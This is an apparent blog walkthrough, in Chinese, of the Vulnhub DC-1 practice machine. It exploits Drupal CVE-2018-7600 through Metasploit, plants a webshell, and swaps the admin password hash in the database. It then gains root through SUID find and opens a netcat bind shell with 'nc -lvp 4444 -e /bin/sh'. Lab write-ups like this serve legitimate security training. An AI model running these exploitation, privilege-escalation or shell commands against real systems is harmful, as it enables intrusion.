Vulnhub靶机练习:DC-1

Vulnhub靶机练习:DC-1

Vulnhub靶机练习:DC-1

image-20210424165021283

使用vmware funsion启动,设置网路为桥接模式.

需要找到5个flag,最终目标是在root的主目录中找到并读取该标志!

知识点:

msf熟练使用

nmap命令

代码审计

find 提权

反弹shell

0x01 主机发现

nmap -sP 192.168.0.0/24

image-20210424131719453

发现若干设备,我这里网络环境有点复杂.别人设备比较多,利用goby发现靶机在192.168.0.119

image-20210424131808750

可以看到靶机系统为Debian ,环境为apache2 php5.4 ,CMS框架为Drupal,开放了22 111 80 口

image-20210424132003037

确实是这样

0x02 通过msf对Drupal cms已知漏洞进行利用获取flag1 flag2

开启msf 并搜索有关Drupal的利用

image-20210424132744475

这里我们使用第四个(CVE-2018-7600),该漏洞的产生的原因在于Drupal对表单的渲染上。Drupal在渲染"数组"中的数据时,将其中的数据未经安全过滤传入到doRender函数中。

以下是doRender函数调用call_user_func_array函数的代码片段:

img

该方法取出"可渲染数组"#lazy_builder的值,未经过滤直接传入call_user_func_array函数,导致恶意代码被执行。

这里我们直接使用msf已经制作好的payload

msf6>use 4

image-20210424133356498

这里只需要设置rhosts即可exploit:

msf6>set rhosts 192.168.0.127    注:由于我中间重启了一次电脑,所以虚拟机的ip发生了变化
msf6>expolit

我们可以看到攻击成功,msf 开启了一个session

image-20210424133751686

image-20210424133921484

这里我们打开一个交互式的pythonshell

meterpreter > shell
Process 3482 created.
Channel 0 created.
python -c 'import pty;pty.spawn("/bin/sh")'
$

image-20210424134635658

发现第一个flag:flag1.txt

image-20210424134715312

查看内容,提示我们去找配置文件

image-20210424134814855

先写一个小马,利用蚁剑来找文件:

image-20210424135557698

image-20210424135634663

最终在/var/www/sites/default下找到了settings.php,同时获得了flag2

获取了数据库信息:

'database' => 'drupaldb',

'username' => 'dbuser',

'password' => 'R0ck3t',

0x03 替换管理员账户密码哈希密文进行登录获取flag3

回到msf建立的shell,进入数据库

image-20210424140001352

并最终在两个表里找到了flag3的线索

image-20210424140636060

我们需要通过管理员账号登录网站才能获得flag3

现在已经很少有CMS将用户的密码进行明文储存,通常做法是利用哈希算法把密码进行单向加密,这样以来就只有用户自己知道密码,我们可以找到加密算法,自定义一个密码进行加密,并在数据库中将加密后的结果进行替换.即可实现登录

image-20210424142250542

可以看到Drupal也对密码进行了加密.经过寻找发现加密脚本在script目录下

image-20210424143238579

我们把密码设为为123456,生成密文

image-20210424143957317

在mysql中进行替换

image-20210424144450206

现在我们尝试使用admin 123456来登录网站

image-20210424144626285

成功登录,并在content中获得flag3

image-20210424144713134

0x04 flag4

根据flag3的提示的 shadow...想到passwd

cat /ect/passwd

果然发现了flag4的线索,

image-20210424154442806

看起来flag4在/home/flag4目录下

获得flag4

image-20210424154752414

flag4提示我们flag5在root目录下,但是我们似乎没有权限进入

image-20210424154911314

0x05 利用find提权获得flag5

我们查找一下具有root权限的其他命令,以下几条均可查询

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

find命令本身就具有root权限

image-20210424163030885

我们利用find提权:

find ./ asd -exec '/bin/sh' \;

最终获得flag5

image-20210424163332768

也可以利用find命令广播或反弹一个具有root权限的shell

首先任意创建一个文件

image-20210424164037004

然后广播或反弹一个shell,我这里选择广播一个shell ,然后在攻击机上连接远程监听

find user -exec nc -lvp 4444 -e '/bin/sh' \;

image-20210424164528458

在攻击机上:

nc 192.168.0.127 4444 #靶机地址 

image-20210424164647742

添加新评论

我们会加密处理您的邮箱保证您的隐私. 标有星号的为必填信息 *